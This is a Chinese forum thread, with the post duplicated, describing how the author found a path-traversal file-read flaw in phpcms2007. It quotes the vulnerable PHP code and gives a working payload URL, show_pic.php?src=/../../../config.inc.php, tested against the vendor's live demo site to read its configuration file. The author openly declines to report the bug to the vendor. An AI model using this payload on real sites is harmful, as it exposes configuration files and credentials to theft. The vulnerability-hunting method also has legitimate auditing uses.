查看: 346|回复: 1

一次简单的php源代码泄露漏洞发掘

 关闭 [复制链接]

签到天数: 7 天

连续签到: 0 天

[LV.3]偶尔看看II

发表于 2008-4-12 13:12 | 显示全部楼层 |阅读模式
我们知道在asp中出现得最多的还是sql注入,不过在php中由于magic_quotes_gpc为on的情况下特殊字符会被转义,所以即使有很多时候存在sql注入也无法利用。但是php强大的文件操作功能却使我们能体会到在asp中无法体会的乐趣,我想php自带的文件操作函数能让你为之心跳加快~~嘿嘿

这次我发掘的是phpcms2007的源代码泄露漏洞

再次向Phpcms2007的开源行为致敬!!

开始吧,

findstr /s /n /i readfile *.php >readfile.txt (结果我只给出有用的)

其他的文件操作函数可以自己定义查找

module\\picture\\show_pic.inc.php:8:readfile($file);

跟进这个文件看看吧,呵呵,比较小,我喜欢

[Copy to clipboard] [ - ]CODE:
<?php
defined(&#39;IN_PHPCMS&#39;) or exit(&#39;Access Denied&#39;);
require PHPCMS_ROOT.&#39;/module/&#39;.$mod.&#39;/include/common.inc.php&#39;;
isset($src) or exit;
$file = PHPCMS_ROOT.&#39;/&#39;.$PHPCMS[&#39;uploaddir&#39;].&#39;/&#39;.$CHA[&#39;channeldir&#39;].&#39;/&#39;.$MOD[&#39;upload_dir&#39;].&#39;/&#39;.$src;
if(empty($PHP_REFERER) || !strpos($PHP_REFERER, $PHP_DOMAIN)) $file = PHPCMS_ROOT.&#39;/images/error.jpg&#39;;
header(\"Content-type:image/pjpeg\");
readfile($file);
?>
一路分析下。。。

先包含文件/module/&#39;.$mod.&#39;/include/common.inc.php

如果存在变量$src则赋予它路径并把值交给变量$file

然后就是就进入if

这里我不看其他的文件简单猜测下应该是判断url路径来源,也就是防盗链的功能

然后就header()一个图片头

呵呵,轻轻松松就readfile($file);

可以看出它没有判断$src的文件类型,如果我们提交一个src=*.php也会被readfile

好吧,在这里漏洞是出现了

不过由于“defined(&#39;IN_PHPCMS&#39;) or exit(&#39;Access Denied&#39;);”,所以我们是无法直接利用这个漏洞文件的

只能是在其他包含这个文件的php文件中利用

继续吧

[Copy to clipboard] [ - ]CODE:
findstr /s /i /n show_pic.inc.php *.php >show_pic.inc.php.txt

picture\\show_pic.php:4:require PHPCMS_ROOT.\"/module/\".$mod.\"/show_pic.inc.php\";
进去看看

[Copy to clipboard] [ - ]CODE:
<?php
require \"./config.inc.php\";
require \"../include/common.inc.php\";
require PHPCMS_ROOT.\"/module/\".$mod.\"/show_pic.inc.php\";
?>
呵呵,要是register_globals为on的话就可以直接利用这个文件读取目标文件了


那就测试吧

官方是演示站是

[Copy to clipboard] [ - ]CODE:
http://demo.phpcms.cn/
那就这样构造url

[Copy to clipboard] [ - ]CODE:
/picture/show_pic.php?src=/../../../config.inc.php
嘿嘿,读取的就是网站的配置文件

直接访问

[Copy to clipboard] [ - ]CODE:
http://demo.phpcms.cn//picture/s ... ./../config.inc.php
呵呵,猜测没错!!

那我们可以先访问http://demo.phpcms.cn/抓包

用nc发包

get选项就设置为

[Copy to clipboard] [ - ]CODE:
/picture/show_pic.php?src=/../../../config.inc.php
这里我就用刺猬的一个post提交工具代替了

测试结果如图

ok,就分析到这里了

希望大家不要利用这个做违法的事,嘿嘿!!

偶是坏孩子,不通知官方了~·好孩子去通知下。
PCOS系统下载站:http://zhuangji.wang

签到天数: 7 天

连续签到: 0 天

[LV.3]偶尔看看II

 楼主| 发表于 2008-4-12 13:12 | 显示全部楼层

一次简单的php源代码泄露漏洞发掘

我们知道在asp中出现得最多的还是sql注入,不过在php中由于magic_quotes_gpc为on的情况下特殊字符会被转义,所以即使有很多时候存在sql注入也无法利用。但是php强大的文件操作功能却使我们能体会到在asp中无法体会的乐趣,我想php自带的文件操作函数能让你为之心跳加快~~嘿嘿

这次我发掘的是phpcms2007的源代码泄露漏洞

再次向Phpcms2007的开源行为致敬!!

开始吧,

findstr /s /n /i readfile *.php >readfile.txt (结果我只给出有用的)

其他的文件操作函数可以自己定义查找

module\\picture\\show_pic.inc.php:8:readfile($file);

跟进这个文件看看吧,呵呵,比较小,我喜欢

[Copy to clipboard] [ - ]CODE:
<?php
defined(&#39;IN_PHPCMS&#39;) or exit(&#39;Access Denied&#39;);
require PHPCMS_ROOT.&#39;/module/&#39;.$mod.&#39;/include/common.inc.php&#39;;
isset($src) or exit;
$file = PHPCMS_ROOT.&#39;/&#39;.$PHPCMS[&#39;uploaddir&#39;].&#39;/&#39;.$CHA[&#39;channeldir&#39;].&#39;/&#39;.$MOD[&#39;upload_dir&#39;].&#39;/&#39;.$src;
if(empty($PHP_REFERER) || !strpos($PHP_REFERER, $PHP_DOMAIN)) $file = PHPCMS_ROOT.&#39;/images/error.jpg&#39;;
header(\"Content-type:image/pjpeg\");
readfile($file);
?>
一路分析下。。。

先包含文件/module/&#39;.$mod.&#39;/include/common.inc.php

如果存在变量$src则赋予它路径并把值交给变量$file

然后就是就进入if

这里我不看其他的文件简单猜测下应该是判断url路径来源,也就是防盗链的功能

然后就header()一个图片头

呵呵,轻轻松松就readfile($file);

可以看出它没有判断$src的文件类型,如果我们提交一个src=*.php也会被readfile

好吧,在这里漏洞是出现了

不过由于“defined(&#39;IN_PHPCMS&#39;) or exit(&#39;Access Denied&#39;);”,所以我们是无法直接利用这个漏洞文件的

只能是在其他包含这个文件的php文件中利用

继续吧

[Copy to clipboard] [ - ]CODE:
findstr /s /i /n show_pic.inc.php *.php >show_pic.inc.php.txt

picture\\show_pic.php:4:require PHPCMS_ROOT.\"/module/\".$mod.\"/show_pic.inc.php\";
进去看看

[Copy to clipboard] [ - ]CODE:
<?php
require \"./config.inc.php\";
require \"../include/common.inc.php\";
require PHPCMS_ROOT.\"/module/\".$mod.\"/show_pic.inc.php\";
?>
呵呵,要是register_globals为on的话就可以直接利用这个文件读取目标文件了


那就测试吧

官方是演示站是

[Copy to clipboard] [ - ]CODE:
http://demo.phpcms.cn/
那就这样构造url

[Copy to clipboard] [ - ]CODE:
/picture/show_pic.php?src=/../../../config.inc.php
嘿嘿,读取的就是网站的配置文件

直接访问

[Copy to clipboard] [ - ]CODE:
http://demo.phpcms.cn//picture/s ... ./../config.inc.php
呵呵,猜测没错!!

那我们可以先访问http://demo.phpcms.cn/抓包

用nc发包

get选项就设置为

[Copy to clipboard] [ - ]CODE:
/picture/show_pic.php?src=/../../../config.inc.php
这里我就用刺猬的一个post提交工具代替了

测试结果如图

ok,就分析到这里了

希望大家不要利用这个做违法的事,嘿嘿!!

偶是坏孩子,不通知官方了~·好孩子去通知下。
PCOS系统下载站:http://zhuangji.wang

本版积分规则